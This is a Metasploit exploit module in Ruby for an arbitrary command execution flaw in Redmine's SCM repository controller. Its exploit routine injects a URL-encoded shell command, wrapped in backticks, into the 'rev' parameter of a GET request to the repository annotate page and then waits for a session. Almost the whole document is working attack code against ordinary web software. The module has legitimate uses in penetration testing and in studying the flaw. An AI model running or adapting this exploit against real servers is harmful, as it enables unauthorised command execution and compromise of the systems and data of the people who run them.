Redmine SCM Repository Arbitrary Command Execution

`##  
# $Id: redmine_scm_exec.rb 11414 2010-12-25 14:43:13Z swtornio $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Redmine SCM Repository Arbitrary Command Execution',  
'Description' => %q{  
This module exploits an arbitrary command execution vulnerability in the  
Redmine repository controller. The flaw is triggered when a rev parameter  
is passed to the command line of the SCM tool without adequate filtering.  
},  
'Author' => [ 'joernchen <[email protected]> (Phenoelit)' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 11414 $',  
'References' =>  
[  
['OSVDB', '70090'],  
['URL', 'http://www.redmine.org/news/49' ]  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 512,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic telnet',  
}  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Dec 19 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URI', [true, "The full URI path to the project", "/projects/1/"]),  
], self.class)  
end  
  
def exploit  
command = Rex::Text.uri_encode(payload.encoded)  
urlconfigdir = datastore['URI'] + "repository/annotate?rev=`#{command}`"  
  
res = send_request_raw({  
'uri' => urlconfigdir,  
'method' => 'GET',  
'headers' =>  
{  
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',  
'Connection' => 'Close',  
}  
}, 25)  
  
if (res)  
print_status("The server returned: #{res.code} #{res.message}")  
else  
print_status("No response from the server")  
end  
handler  
end  
  
end  
  
`